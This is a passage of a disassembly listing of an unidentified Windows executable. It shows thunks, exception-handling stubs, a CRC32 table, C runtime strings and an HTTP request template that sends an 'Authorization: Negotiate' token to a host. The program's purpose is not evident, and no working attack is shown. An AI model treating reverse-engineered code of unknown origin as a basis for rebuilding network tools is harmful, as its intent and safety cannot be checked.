; =============== S U B	R O U T	I N E =======================================



sub_4200A4	proc near		; DATA XREF: seg002:0042300Co

; FUNCTION CHUNK AT 004200DA SIZE 0000000C BYTES

		test	ds:byte_46974C,	1
		jnz	short loc_4200B4
		or	ds:byte_46974C,	1


loc_4200B4:				; CODE XREF: sub_4200A4+7j
		call	sub_4200CE
		test	ds:byte_46AAD8,	1
		jnz	short loc_4200C9
		or	ds:byte_46AAD8,	1


loc_4200C9:				; CODE XREF: sub_4200A4+1Cj
		jmp	loc_4200DA
sub_4200A4	endp


; =============== S U B	R O U T	I N E =======================================



sub_4200CE	proc near		; CODE XREF: sub_4200A4:loc_4200B4p
		push	offset nullsub_1
		call	sub_416820
		pop	ecx
		retn
sub_4200CE	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4200A4


loc_4200DA:				; CODE XREF: sub_4200A4:loc_4200C9j
		push	offset nullsub_1
		call	sub_416820
		pop	ecx
		retn
; END OF FUNCTION CHUNK	FOR sub_4200A4

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4200E6	proc near		; CODE XREF: sub_40446E+5Ep
					; sub_4053ED+159p
		jmp	ds:dword_4211D4
sub_4200E6	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4200EC	proc near		; CODE XREF: sub_4160A4+23p
					; sub_416348+13p
		jmp	ds:dword_421154
sub_4200EC	endp


; =============== S U B	R O U T	I N E =======================================



sub_4200F2	proc near		; DATA XREF: seg001:off_421C94o

arg_0		= byte ptr  4

		push	esi
		mov	esi, ecx
		call	sub_420195
		test	[esp+4+arg_0], 1
		jz	short loc_420108
		push	esi
		call	sub_416457
		pop	ecx


loc_420108:				; CODE XREF: sub_4200F2+Dj
		mov	eax, esi
		pop	esi
		retn	4
sub_4200F2	endp


; =============== S U B	R O U T	I N E =======================================



sub_42010E	proc near		; CODE XREF: sub_41FDEA+1Fp

arg_0		= dword	ptr  4

		push	esi
		push	edi
		mov	edi, [esp+8+arg_0]
		mov	esi, ecx
		mov	dword ptr [esi], offset	off_421C94
		push	dword ptr [edi]
		call	sub_415CD0
		inc	eax
		push	eax
		call	sub_4167A5
		pop	ecx
		mov	[esi+4], eax
		test	eax, eax
		pop	ecx
		jz	short loc_42013D
		push	dword ptr [edi]
		push	eax
		call	sub_415BE0
		pop	ecx
		pop	ecx


loc_42013D:				; CODE XREF: sub_42010E+23j
		mov	dword ptr [esi+8], 1
		mov	eax, esi
		pop	edi
		pop	esi
		retn	4
sub_42010E	endp


; =============== S U B	R O U T	I N E =======================================



sub_42014B	proc near		; CODE XREF: sub_41FED1+17p

arg_0		= dword	ptr  4

		push	esi
		push	edi
		mov	edi, [esp+8+arg_0]
		mov	esi, ecx
		mov	dword ptr [esi], offset	off_421C94
		mov	eax, [edi+8]
		test	eax, eax
		mov	[esi+8], eax
		jz	short loc_420188
		push	dword ptr [edi+4]
		call	sub_415CD0
		inc	eax
		push	eax
		call	sub_4167A5
		pop	ecx
		mov	[esi+4], eax
		test	eax, eax
		pop	ecx
		jz	short loc_42018E
		push	dword ptr [edi+4]
		push	eax
		call	sub_415BE0
		pop	ecx
		pop	ecx
		jmp	short loc_42018E
; ---------------------------------------------------------------------------


loc_420188:				; CODE XREF: sub_42014B+16j
		mov	eax, [edi+4]
		mov	[esi+4], eax


loc_42018E:				; CODE XREF: sub_42014B+2Ej
					; sub_42014B+3Bj
		mov	eax, esi
		pop	edi
		pop	esi
		retn	4
sub_42014B	endp


; =============== S U B	R O U T	I N E =======================================



sub_420195	proc near		; CODE XREF: sub_41FE78+2Bp
					; sub_41FF2E+2Bp ...
		cmp	dword ptr [ecx+8], 0
		mov	dword ptr [ecx], offset	off_421C94
		jz	short locret_4201AA
		push	dword ptr [ecx+4]
		call	sub_416457
		pop	ecx

locret_4201AA:				; CODE XREF: sub_420195+Aj
		retn
sub_420195	endp


; =============== S U B	R O U T	I N E =======================================



sub_4201AB	proc near		; DATA XREF: seg001:00421C98o
		mov	eax, [ecx+4]
		test	eax, eax
		jnz	short locret_4201B7
		mov	eax, offset aUnknownExcepti ; "Unknown exception"

locret_4201B7:				; CODE XREF: sub_4201AB+5j
		retn
sub_4201AB	endp


; =============== S U B	R O U T	I N E =======================================



sub_4201B8	proc near		; CODE XREF: seg000:004201D0p
		mov	dword ptr [ecx], offset	off_421CB4
		mov	ecx, [ecx+4]
		test	ecx, ecx
		jz	short locret_4201CC
		push	ecx
		call	sub_415E1D
		pop	ecx

locret_4201CC:				; CODE XREF: sub_4201B8+Bj
		retn
sub_4201B8	endp

; ---------------------------------------------------------------------------


loc_4201CD:				; DATA XREF: seg001:off_421CB4o
		push	esi
		mov	esi, ecx
		call	sub_4201B8
		test	byte ptr [esp+8], 1
		jz	short loc_4201E3
		push	esi
		call	sub_416457
		pop	ecx


loc_4201E3:				; CODE XREF: seg000:004201DAj
		mov	eax, esi
		pop	esi
		retn	4

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4201E9	proc near		; CODE XREF: sub_41FD90+54p
					; sub_41FE5B+18p ...

var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_10		= dword	ptr -10h
var_C		= byte ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 20h
		mov	eax, [ebp+arg_0]
		push	esi
		push	edi
		push	8
		pop	ecx
		mov	esi, offset dword_421CB8
		lea	edi, [ebp+var_20]
		rep movsd
		mov	[ebp+var_8], eax
		mov	eax, [ebp+arg_4]
		mov	[ebp+var_4], eax
		lea	eax, [ebp+var_C]
		push	eax
		push	[ebp+var_10]
		push	[ebp+var_1C]
		push	[ebp+var_20]
		call	ds:dword_421184
		pop	edi
		pop	esi
		leave
		retn	8
sub_4201E9	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_420224	proc near		; DATA XREF: seg001:00421E84o

; FUNCTION CHUNK AT 00404B16 SIZE 00000008 BYTES

		lea	ecx, [ebp-38h]
		jmp	loc_404B16
sub_420224	endp

; ---------------------------------------------------------------------------
		mov	eax, [ebp-20h]
		and	eax, 1
		test	eax, eax
		jz	locret_420242
		mov	ecx, [ebp+8]
		jmp	loc_404B16
; ---------------------------------------------------------------------------

locret_420242:				; CODE XREF: seg000:00420234j
		retn
; ---------------------------------------------------------------------------


loc_420243:				; DATA XREF: sub_4046AAo
		mov	eax, offset dword_421E58
		jmp	loc_4160F3
; ---------------------------------------------------------------------------
		align 10h
		lea	ecx, [ebp+14h]
		jmp	loc_404B16
; ---------------------------------------------------------------------------


loc_420258:				; DATA XREF: seg001:00421EB4o
		lea	ecx, [ebp-1Ch]
		jmp	loc_404B16
; ---------------------------------------------------------------------------


loc_420260:				; DATA XREF: sub_40484Co
		mov	eax, offset dword_421E88
		jmp	loc_4160F3
; ---------------------------------------------------------------------------
		align 4


loc_42026C:				; DATA XREF: sub_404DF9o
		mov	eax, offset dword_421EB8
		jmp	loc_4160F3
; ---------------------------------------------------------------------------
		align 4
		lea	ecx, [ebp-20h]
		jmp	loc_404B16
; ---------------------------------------------------------------------------


loc_420280:				; DATA XREF: sub_41FD90o
		mov	eax, offset dword_421F90
		jmp	loc_4160F3
; ---------------------------------------------------------------------------
		align 4
		mov	ecx, [ebp-14h]
		jmp	sub_420195
; ---------------------------------------------------------------------------


loc_420294:				; DATA XREF: sub_41FDEAo
		mov	eax, offset dword_421FB8
		jmp	loc_4160F3
; ---------------------------------------------------------------------------
		align 10h
		mov	ecx, [ebp-10h]
		jmp	sub_420195
; ---------------------------------------------------------------------------


loc_4202A8:				; DATA XREF: sub_41FE78o
		mov	eax, offset dword_422000
		jmp	loc_4160F3
; ---------------------------------------------------------------------------
		align 4
		mov	ecx, [ebp-10h]
		jmp	sub_420195
; ---------------------------------------------------------------------------


loc_4202BC:				; DATA XREF: sub_41FED1o
		mov	eax, offset dword_422028
		jmp	loc_4160F3
; ---------------------------------------------------------------------------
		align 4
		mov	ecx, [ebp-10h]
		jmp	sub_420195
; ---------------------------------------------------------------------------


loc_4202D0:				; DATA XREF: sub_41FF2Eo
		mov	eax, offset dword_422050
		jmp	loc_4160F3
; ---------------------------------------------------------------------------
		align 4
		lea	ecx, [ebp-20h]
		jmp	loc_404B16
; ---------------------------------------------------------------------------


loc_4202E4:				; DATA XREF: sub_41FFBCo
		mov	eax, offset dword_4220B8
		jmp	loc_4160F3
; ---------------------------------------------------------------------------
		align 10h
		mov	ecx, [ebp-10h]
		jmp	sub_420195
; ---------------------------------------------------------------------------


loc_4202F8:				; DATA XREF: sub_420016o
		mov	eax, offset dword_4220E0
		jmp	loc_4160F3
; ---------------------------------------------------------------------------
		align 1000h
seg000		ends

; Section 2. (virtual address 00021000)
; Virtual size			: 00002000 (   8192.)
; Section size in file		: 00002000 (   8192.)
; Offset to raw	data for section: 00021000
; Flags	E0000040: Data Executable Readable Writable
; Alignment	: default
; ===========================================================================

; Segment type:	Pure code
; Segment permissions: Read/Write/Execute
seg001		segment	para public 'CODE' use32
		assume cs:seg001
		;org 421000h
		assume es:nothing, ss:nothing, ds:_data, fs:nothing, gs:nothing
		dd 22696h, 22AAEh
dword_421008	dd 22A9Ch		; DATA XREF: sub_41F825+3Er
					; sub_41F825+261r
dword_42100C	dd 22A8Ah		; DATA XREF: sub_41F825+5Br
					; sub_41F825+B9r
		dd 22A7Ah, 22A6Ah, 22A5Ah
dword_42101C	dd 22A3Ch		; DATA XREF: sub_41DF28+5r
					; sub_41DF39+6r
		dd 22A28h, 22A18h
dword_421028	dd 22A06h		; DATA XREF: seg000:0041D216r
					; seg000:0041D304r
		dd 229F4h, 229E6h, 229D6h, 229C4h
dword_42103C	dd 229AAh		; DATA XREF: seg000:0041CB09r
dword_421040	dd 22992h		; DATA XREF: seg000:loc_41CB2Fr
					; seg000:0041CBE1r
dword_421044	dd 22978h		; DATA XREF: seg000:0041CBCEr
		dd 22348h
dword_42104C	dd 22356h		; DATA XREF: start+27r
					; seg000:004015EDr ...
		dd 22366h, 22380h, 2239Ch
dword_42105C	dd 223B2h		; DATA XREF: seg000:00402128r
					; sub_40B151+Dr ...
dword_421060	dd 223C2h		; DATA XREF: seg000:00402258r
					; seg000:00402920r ...
dword_421064	dd 223CAh		; DATA XREF: sub_402FDD+66r
					; sub_4030C0+65r ...
dword_421068	dd 223E0h		; DATA XREF: seg000:00403500r
					; sub_406A16+80r ...
dword_42106C	dd 223ECh		; DATA XREF: seg000:004034EBr
					; seg000:0040351Br ...
		dd 223FAh, 22406h
dword_421078	dd 2241Ah		; DATA XREF: seg000:00403433r
					; sub_406A16+25r ...
		dd 22428h, 2243Eh, 22450h
dword_421088	dd 22462h		; DATA XREF: seg000:loc_407396r
					; seg000:loc_4075C2r ...
		dd 22472h, 22482h
dword_421094	dd 22490h		; DATA XREF: seg000:00409F09o
					; sub_4176E9+4r
		dd 224A6h, 224B2h, 224CAh
dword_4210A4	dd 224E4h		; DATA XREF: seg000:004065A1r
					; seg000:0040696Br ...
dword_4210A8	dd 224F4h		; DATA XREF: seg000:00406590r
					; sub_408884+26r
dword_4210AC	dd 22506h		; DATA XREF: sub_406A16+6Cr
					; seg000:0040B94Fr ...
dword_4210B0	dd 22518h		; DATA XREF: sub_40776F+13Fr
dword_4210B4	dd 22530h		; DATA XREF: sub_40776F+D4r
dword_4210B8	dd 22548h		; DATA XREF: seg000:004079FAr
dword_4210BC	dd 22570h		; DATA XREF: seg000:004079EEr
					; seg000:00407BB2r
dword_4210C0	dd 22588h		; DATA XREF: sub_4089D6+13Ar
					; sub_4089D6:loc_408EC6r ...
dword_4210C4	dd 22598h		; DATA XREF: sub_4089D6+11r
					; sub_41E6CE+1Er
dword_4210C8	dd 225AAh		; DATA XREF: sub_4089D6+2r
		dd 225BEh
dword_4210D0	dd 225D0h		; DATA XREF: sub_409C76+26r
dword_4210D4	dd 225E0h		; DATA XREF: sub_409C76+1Dr
		dd 225EEh, 22600h, 22610h, 22626h, 22634h, 22642h, 22654h
		dd 22670h, 22686h, 226ACh, 226BCh
dword_421104	dd 226CEh		; DATA XREF: sub_40A7E1+79r
dword_421108	dd 226E2h		; DATA XREF: sub_40A7E1+3Br
dword_42110C	dd 226F0h		; DATA XREF: sub_40AAB5+24r
					; seg000:0041428Dr
		dd 22700h
dword_421114	dd 22716h		; DATA XREF: seg000:0040C14Br
					; seg000:0040C65Dr ...
		dd 22724h, 22732h, 22740h, 22756h, 22762h, 22778h, 22788h
		dd 2279Ah
dword_421138	dd 227A6h		; DATA XREF: sub_413270+13r
					; seg000:0041BF5Er ...
		dd 227BCh, 227D0h
dword_421144	dd 227E4h		; DATA XREF: seg000:00414219r
		dd 227F6h
dword_42114C	dd 2280Ah		; DATA XREF: sub_415DE7+2Er
					; sub_4174BF+AFr ...
dword_421150	dd 22816h		; DATA XREF: sub_415E1D+27r
					; sub_418B08+2C4r ...
dword_421154	dd 22822h		; DATA XREF: sub_4200ECr
		dd 2282Eh, 22848h
dword_421160	dd 22858h		; DATA XREF: sub_4174BF+F0r
					; sub_41913C+28r
		dd 22866h, 22878h
dword_42116C	dd 2288Ah		; DATA XREF: seg000:00417AFEr
dword_421170	dd 22898h		; DATA XREF: sub_418A63+2Fr
dword_421174	dd 228A6h		; DATA XREF: sub_418A63+11r
dword_421178	dd 228B4h		; DATA XREF: sub_418B08+23Fr
dword_42117C	dd 228C2h		; DATA XREF: sub_41913C+76r
					; sub_4191ED+51r
		dd 228D2h
dword_421184	dd 228E2h		; DATA XREF: sub_4196C9+215r
					; sub_4201E9+2Er
dword_421188	dd 228F4h		; DATA XREF: sub_41AC28+21r
		dd 22900h
dword_421190	dd 22910h		; DATA XREF: seg000:0041BD93r
					; seg000:0041BE9Er ...
		dd 22920h, 2292Ch, 22936h
dword_4211A0	dd 22942h		; DATA XREF: seg000:0041C756r
		dd 2295Eh, 0
dword_4211AC	dd 80000074h		; DATA XREF: sub_4059F0+6Er
dword_4211B0	dd 80000073h		; DATA XREF: sub_4053ED+47r
					; sub_4059F0+15r
dword_4211B4	dd 80000015h		; DATA XREF: sub_4053ED+8Dr
dword_4211B8	dd 8000000Ah		; DATA XREF: sub_4053ED+9Dr
dword_4211BC	dd 80000002h		; DATA XREF: sub_4053ED+C4r
dword_4211C0	dd 8000000Dh		; DATA XREF: sub_4053ED+D8r
dword_4211C4	dd 80000001h		; DATA XREF: sub_4053ED+180r
dword_4211C8	dd 80000034h		; DATA XREF: seg000:004052F0r
dword_4211CC	dd 80000016h		; DATA XREF: seg000:004053D9r
dword_4211D0	dd 80000012h		; DATA XREF: sub_40446E+4Cr
					; sub_4053ED+115r
dword_4211D4	dd 80000097h		; DATA XREF: sub_4200E6r
dword_4211D8	dd 8000000Bh		; DATA XREF: seg000:00402864r
					; sub_402DDD+2Ar ...
dword_4211DC	dd 80000009h		; DATA XREF: seg000:00402874r
					; sub_402988+EDr ...
dword_4211E0	dd 80000017h		; DATA XREF: seg000:00402883r
					; sub_402DDD+49r ...
dword_4211E4	dd 80000004h		; DATA XREF: seg000:0040289Er
					; sub_402DDD+64r ...
dword_4211E8	dd 80000010h		; DATA XREF: seg000:004028BBr
					; seg000:00402972r ...
dword_4211EC	dd 80000013h		; DATA XREF: seg000:0040290Er
					; sub_402988+26Br ...
dword_4211F0	dd 80000003h		; DATA XREF: seg000:0040297Br
					; sub_402DDD+154r ...
		align 8
aGetHttp1_0Host	db 'GET / HTTP/1.0',0Dh,0Ah ; DATA XREF: sub_40484C+62o
		db 'Host: %s',0Dh,0Ah
		db 'Authorization: Negotiate %s',0Dh,0Ah
		db 0Dh,0Ah,0
		align 8
dbl_421238	dq 1.388888888888889e-2	; DATA XREF: sub_40465E+2Fr
dbl_421240	dq 1.666666666666667e-1	; DATA XREF: sub_40465E+15r
dword_421248	dd 0FFFFFFFFh		; DATA XREF: sub_4046AA+16Fr
					; sub_404B1Er ...
		align 10h
dbl_421250	dq 1.333333333333333	; DATA XREF: sub_4046AA+79r
dword_421258	dd 0			; DATA XREF: sub_40484C+4Do
					; sub_404BCE+5Bo ...
dword_42125C	dd 0			; DATA XREF: sub_40B402+26r
		dd 77073096h, 0EE0E612Ch, 990951BAh, 76DC419h, 706AF48Fh
		dd 0E963A535h, 9E6495A3h, 0EDB8832h, 79DCB8A4h,	0E0D5E91Eh
		dd 97D2D988h, 9B64C2Bh,	7EB17CBDh, 0E7B82D07h, 90BF1D91h
		dd 1DB71064h, 6AB020F2h, 0F3B97148h, 84BE41DEh,	1ADAD47Dh
		dd 6DDDE4EBh, 0F4D4B551h, 83D385C7h, 136C9856h,	646BA8C0h
		dd 0FD62F97Ah, 8A65C9ECh, 14015C4Fh, 63066CD9h,	0FA0F3D63h
		dd 8D080DF5h, 3B6E20C8h, 4C69105Eh, 0D56041E4h,	0A2677172h
		dd 3C03E4D1h, 4B04D447h, 0D20D85FDh, 0A50AB56Bh, 35B5A8FAh
		dd 42B2986Ch, 0DBBBC9D6h, 0ACBCF940h, 32D86CE3h, 45DF5C75h
		dd 0DCD60DCFh, 0ABD13D59h, 26D930ACh, 51DE003Ah, 0C8D75180h
		dd 0BFD06116h, 21B4F4B5h, 56B3C423h, 0CFBA9599h, 0B8BDA50Fh
		dd 2802B89Eh, 5F058808h, 0C60CD9B2h, 0B10BE924h, 2F6F7C87h
		dd 58684C11h, 0C1611DABh, 0B6662D3Dh, 76DC4190h, 1DB7106h
		dd 98D220BCh, 0EFD5102Ah, 71B18589h, 6B6B51Fh, 9FBFE4A5h
		dd 0E8B8D433h, 7807C9A2h, 0F00F934h, 9609A88Eh,	0E10E9818h
		dd 7F6A0DBBh, 86D3D2Dh,	91646C97h, 0E6635C01h, 6B6B51F4h
		dd 1C6C6162h, 856530D8h, 0F262004Eh, 6C0695EDh,	1B01A57Bh
		dd 8208F4C1h, 0F50FC457h, 65B0D9C6h, 12B7E950h,	8BBEB8EAh
		dd 0FCB9887Ch, 62DD1DDFh, 15DA2D49h, 8CD37CF3h,	0FBD44C65h
		dd 4DB26158h, 3AB551CEh, 0A3BC0074h, 0D4BB30E2h, 4ADFA541h
		dd 3DD895D7h, 0A4D1C46Dh, 0D3D6F4FBh, 4369E96Ah, 346ED9FCh
		dd 0AD678846h, 0DA60B8D0h, 44042D73h, 33031DE5h, 0AA0A4C5Fh
		dd 0DD0D7CC9h, 5005713Ch, 270241AAh, 0BE0B1010h, 0C90C2086h
		dd 5768B525h, 206F85B3h, 0B966D409h, 0CE61E49Fh, 5EDEF90Eh
		dd 29D9C998h, 0B0D09822h, 0C7D7A8B4h, 59B33D17h, 2EB40D81h
		dd 0B7BD5C3Bh, 0C0BA6CADh, 0EDB88320h, 9ABFB3B6h, 3B6E20Ch
		dd 74B1D29Ah, 0EAD54739h, 9DD277AFh, 4DB2615h, 73DC1683h
		dd 0E3630B12h, 94643B84h, 0D6D6A3Eh, 7A6A5AA8h,	0E40ECF0Bh
		dd 9309FF9Dh, 0A00AE27h, 7D079EB1h, 0F00F9344h,	8708A3D2h
		dd 1E01F268h, 6906C2FEh, 0F762575Dh, 806567CBh,	196C3671h
		dd 6E6B06E7h, 0FED41B76h, 89D32BE0h, 10DA7A5Ah,	67DD4ACCh
		dd 0F9B9DF6Fh, 8EBEEFF9h, 17B7BE43h, 60B08ED5h,	0D6D6A3E8h
		dd 0A1D1937Eh, 38D8C2C4h, 4FDFF252h, 0D1BB67F1h, 0A6BC5767h
		dd 3FB506DDh, 48B2364Bh, 0D80D2BDAh, 0AF0A1B4Ch, 36034AF6h
		dd 41047A60h, 0DF60EFC3h, 0A867DF55h, 316E8EEFh, 4669BE79h
		dd 0CB61B38Ch, 0BC66831Ah, 256FD2A0h, 5268E236h, 0CC0C7795h
		dd 0BB0B4703h, 220216B9h, 5505262Fh, 0C5BA3BBEh, 0B2BD0B28h
		dd 2BB45A92h, 5CB36A04h, 0C2D7FFA7h, 0B5D0CF31h, 2CD99E8Bh
		dd 5BDEAE1Dh, 9B64C2B0h, 0EC63F226h, 756AA39Ch,	26D930Ah
		dd 9C0906A9h, 0EB0E363Fh, 72076785h, 5005713h, 95BF4A82h
		dd 0E2B87A14h, 7BB12BAEh, 0CB61B38h, 92D28E9Bh,	0E5D5BE0Dh
		dd 7CDCEFB7h, 0BDBDF21h, 86D3D2D4h, 0F1D4E242h,	68DDB3F8h
		dd 1FDA836Eh, 81BE16CDh, 0F6B9265Bh, 6FB077E1h,	18B74777h
		dd 88085AE6h, 0FF0F6A70h, 66063BCAh, 11010B5Ch,	8F659EFFh
		dd 0F862AE69h, 616BFFD3h, 166CCF45h, 0A00AE278h, 0D70DD2EEh
		dd 4E048354h, 3903B3C2h, 0A7672661h, 0D06016F7h, 4969474Dh
		dd 3E6E77DBh, 0AED16A4Ah, 0D9D65ADCh, 40DF0B66h, 37D83BF0h
		dd 0A9BCAE53h, 0DEBB9EC5h, 47B2CF7Fh, 30B5FFE9h, 0BDBDF21Ch
		dd 0CABAC28Ah, 53B39330h, 24B4A3A6h, 0BAD03605h, 0CDD70693h
		dd 54DE5729h, 23D967BFh, 0B3667A2Eh, 0C4614AB8h, 5D681B02h
		dd 2A6F2B94h, 0B40BBE37h, 0C30C8EA1h, 5A05DF1Bh, 2D02EF8Dh
		dd 0
dbl_421660	dq 9.765625e-4		; DATA XREF: seg000:0040BF90r
					; seg000:0040BFABr ...
dbl_421668	dq -3.0517578125e-5	; DATA XREF: sub_41407E+1Er
dbl_421670	dq 1.0			; DATA XREF: sub_415E4C+6Cr
					; sub_415F93+6Cr ...
dword_421678	dd 0FFFFFFFFh, 417BAFh,	417BC3h	; DATA XREF: seg000:00417ADDo
byte_421684	db 6			; DATA XREF: sub_417D2C:loc_417D83r
		db 2 dup(0), 6
		dd 100h, 6030010h, 10020600h, 45454504h, 5050505h, 303505h
		dd 50h,	38282000h, 8075850h, 30303700h,	75057h,	8202000h
		dd 0
		dd 60686008h, 606060h, 78707000h, 8787878h, 807h, 8080007h
		dd 8000008h, 7000800h, 8
aNull:					; DATA XREF: seg002:off_437D3Co
		unicode	0, <(null)>,0
		align 10h
aNull_0		db '(null)',0           ; DATA XREF: seg002:off_437D38o
		align 4
a_yn		db '_yn',0
a_y1		db '_y1',0
a_y0		db '_y0',0
aFrexp		db 'frexp',0
		align 4
aFmod		db 'fmod',0
		align 4
a_hypot		db '_hypot',0
		align 4
a_cabs		db '_cabs',0
		align 4
aLdexp		db 'ldexp',0
		align 4
aModf		db 'modf',0
		align 4
aFabs		db 'fabs',0
		align 4
aFloor		db 'floor',0
		align 4
aCeil		db 'ceil',0
		align 4
aTan		db 'tan',0
aCos		db 'cos',0
aSin		db 'sin',0
aSqrt		db 'sqrt',0
		align 10h
aAtan2		db 'atan2',0
		align 4
aAtan		db 'atan',0
		align 10h
aAcos		db 'acos',0
		align 4
aAsin		db 'asin',0
		align 10h
aTanh		db 'tanh',0
		align 4
aCosh		db 'cosh',0
		align 10h
aSinh		db 'sinh',0
		align 4
aLog10		db 'log10',0
		align 10h
aLog		db 'log',0
aPow		db 'pow',0
aExp		db 'exp',0              ; DATA XREF: seg002:off_437F64o
		align 10h
dbl_4217B0	dq 0.0			; DATA XREF: sub_41997C+8Cr
					; sub_41997C+ACr ...
dbl_4217B8	dq 4.195835e6		; DATA XREF: sub_419E91+Fr
dbl_4217C0	dq 3.145727e6		; DATA XREF: sub_419E91+6r
aIsprocessorfea	db 'IsProcessorFeaturePresent',0
		align 4
aKernel32	db 'KERNEL32',0         ; DATA XREF: sub_419ECFo
		align 10h
aE000		db 'e+000',0            ; DATA XREF: sub_419FF6+93o
		align 4
dword_4217F8	dd 0FFFFFFFFh, 41A6E1h,	41A6EBh, 0 ; DATA XREF:	sub_41A67A+5o
dword_421808	dd 0FFFFFFFFh, 0	; DATA XREF: sub_41A7A9+5o
		dd offset loc_41A867
		align 8
		dd offset sub_41A845
		dd offset sub_41A84F
dword_421820	dd 0FFFFFFFFh, 41AA97h,	41AA9Bh, 0 ; DATA XREF:	sub_41A8DF+5o
dword_421830	dd 0FFFFFFFFh, 41AAF9h,	41AB02h, 0 ; DATA XREF:	sub_41AAA3+5o
dword_421840	dd 0FFFFFFFFh, 0	; DATA XREF: sub_41AB7C+5o
		dd offset loc_41ABCD
		align 10h
		dd offset loc_41ABB9
		dd offset loc_41ABBD
dword_421858	dd 0FFFFFFFFh, 0	; DATA XREF: sub_41ABD2+5o
		dd offset loc_41AC23
		align 8
		dd offset loc_41AC0F
		dd offset loc_41AC13
dword_421870	dd 2 dup(0)		; DATA XREF: seg000:0041BD87o
					; seg000:0041D210o ...
dword_421878	dd 0FFFFFFFFh, 41BE61h,	41BE65h, 0FFFFFFFFh, 41BF15h, 41BF19h
					; DATA XREF: seg000:0041BD56o
		dd 746E7572h, 20656D69h, 6F727265h, 2072h, 534F4C54h, 72652053h
		dd 0D726F72h, 0Ah, 474E4953h, 72726520h, 0A0D726Fh, 0
		dd 414D4F44h, 65204E49h, 726F7272h, 0A0Dh, 32303652h, 2D0A0D38h
		dd 616E7520h, 20656C62h, 69206F74h, 6974696Eh, 7A696C61h
		dd 65682065h, 0A0D7061h, 0
aR6027NotEnough	db 'R6027',0Dh,0Ah
		db '- not enough space for lowio initialization',0Dh,0Ah,0
		align 10h
aR6026NotEnough	db 'R6026',0Dh,0Ah
		db '- not enough space for stdio initialization',0Dh,0Ah,0
		align 4
aR6025PureVirtu	db 'R6025',0Dh,0Ah
		db '- pure virtual function call',0Dh,0Ah,0
		align 10h
aR6024NotEnough	db 'R6024',0Dh,0Ah
		db '- not enough space for _onexit/atexit table',0Dh,0Ah,0
		align 4
aR6019UnableToO	db 'R6019',0Dh,0Ah
		db '- unable to open console device',0Dh,0Ah,0
		align 4
aR6018Unexpecte	db 'R6018',0Dh,0Ah
		db '- unexpected heap error',0Dh,0Ah,0
		align 4
aR6017Unexpecte	db 'R6017',0Dh,0Ah
		db '- unexpected multithread lock error',0Dh,0Ah,0
		align 4
aR6016NotEnough	db 'R6016',0Dh,0Ah
		db '- not enough space for thread data',0Dh,0Ah,0
aAbnormalProgra	db 0Dh,0Ah
		db 'abnormal program termination',0Dh,0Ah,0
		align 4
aR6009NotEnough	db 'R6009',0Dh,0Ah
		db '- not enough space for environment',0Dh,0Ah,0
aR6008NotEnough	db 'R6008',0Dh,0Ah
		db '- not enough space for arguments',0Dh,0Ah,0
		align 10h
aR6002FloatingP	db 'R6002',0Dh,0Ah      ; DATA XREF: seg002:off_4383ACo
		db '- floating point not loaded',0Dh,0Ah,0
		align 4
aMicrosoftVisua	db 'Microsoft Visual C++ Runtime Library',0 ; DATA XREF: sub_41CEF9+119o
		align 10h
asc_421B40	db 0Ah			; DATA XREF: sub_41CEF9+F1o
		db 0Ah,0
		align 4
aRuntimeErrorPr	db 'Runtime Error!',0Ah ; DATA XREF: sub_41CEF9+D3o
		db 0Ah
		db 'Program: ',0
		align 10h
a___		db '...',0              ; DATA XREF: sub_41CEF9+BFo
aProgramNameUnk	db '<program name unknown>',0 ; DATA XREF: sub_41CEF9+7Do
		align 10h
dword_421B80	dd 0FFFFFFFFh, 41D2D0h,	41D2D4h	; DATA XREF: seg000:0041D1DCo
aSunmontuewedth	db 'SunMonTueWedThuFriSat',0
		align 4
aJanfebmaraprma	db 'JanFebMarAprMayJunJulAugSepOctNovDec',0
		align 4
aTz		db 'TZ',0               ; DATA XREF: seg000:0041E14Co
		align 10h
aGetlastactivep	db 'GetLastActivePopup',0 ; DATA XREF: sub_41E6CE+3Do
		align 4
aGetactivewindo	db 'GetActiveWindow',0  ; DATA XREF: sub_41E6CE+35o
aMessageboxa	db 'MessageBoxA',0      ; DATA XREF: sub_41E6CE+24o
a1Qnan		db '1#QNAN',0           ; DATA XREF: sub_41EFE4:loc_41F0D9o
		align 4
a1Inf		db '1#INF',0            ; DATA XREF: sub_41EFE4+D8o
		align 10h
a1Ind		db '1#IND',0            ; DATA XREF: sub_41EFE4+C7o
		align 4
a1Snan		db '1#SNAN',0           ; DATA XREF: sub_41EFE4+ADo
		align 10h
dword_421C20	dd 0FFFFFFFFh, 41F9DCh,	41F9E0h, 0FFFFFFFFh, 41FA4Bh, 41FA4Fh
					; DATA XREF: sub_41F825+5o
		dd 421D40h
off_421C3C	dd offset loc_41FF88	; DATA XREF: sub_41FD90+4Do
					; sub_41FFA4+Co
		dd offset sub_41FE4E
		dd offset sub_41FF6B
aStringTooLong	db 'string too long',0  ; DATA XREF: sub_41FD90+1Eo
		dd offset dword_421D78
off_421C5C	dd offset loc_41FEB5	; DATA XREF: sub_41FDEA+4Eo
					; sub_41FE78+11o ...
		dd offset sub_41FE4E
		dd offset sub_41FE5B
		dd offset dword_421DC8
off_421C6C	dd offset loc_420070	; DATA XREF: sub_41FFBC+4Do
					; sub_42008C+Co
		dd offset sub_41FE4E
		dd offset sub_420053
aInvalidStringP	db 'invalid string position',0 ; DATA XREF: sub_41FFBC+1Eo
		dd offset dword_421DF8
off_421C94	dd offset sub_4200F2	; DATA XREF: sub_42010E+8o
					; sub_42014B+8o ...
		dd offset sub_4201AB
aUnknownExcepti	db 'Unknown exception',0 ; DATA XREF: sub_4201AB+7o
		align 10h
		dd offset dword_421E40
off_421CB4	dd offset loc_4201CD	; DATA XREF: sub_4201B8o
					; seg002:off_438AD0o ...
dword_421CB8	dd 0E06D7363h, 1, 2 dup(0) ; DATA XREF:	sub_4201E9+Eo
		dd 3, 19930520h, 2 dup(0)
off_421CD8	dd offset off_438AD0	; DATA XREF: seg001:00421D28o
					; seg001:00421D5Co ...
		dd 2 dup(0)
		dd 0FFFFFFFFh, 2 dup(0)
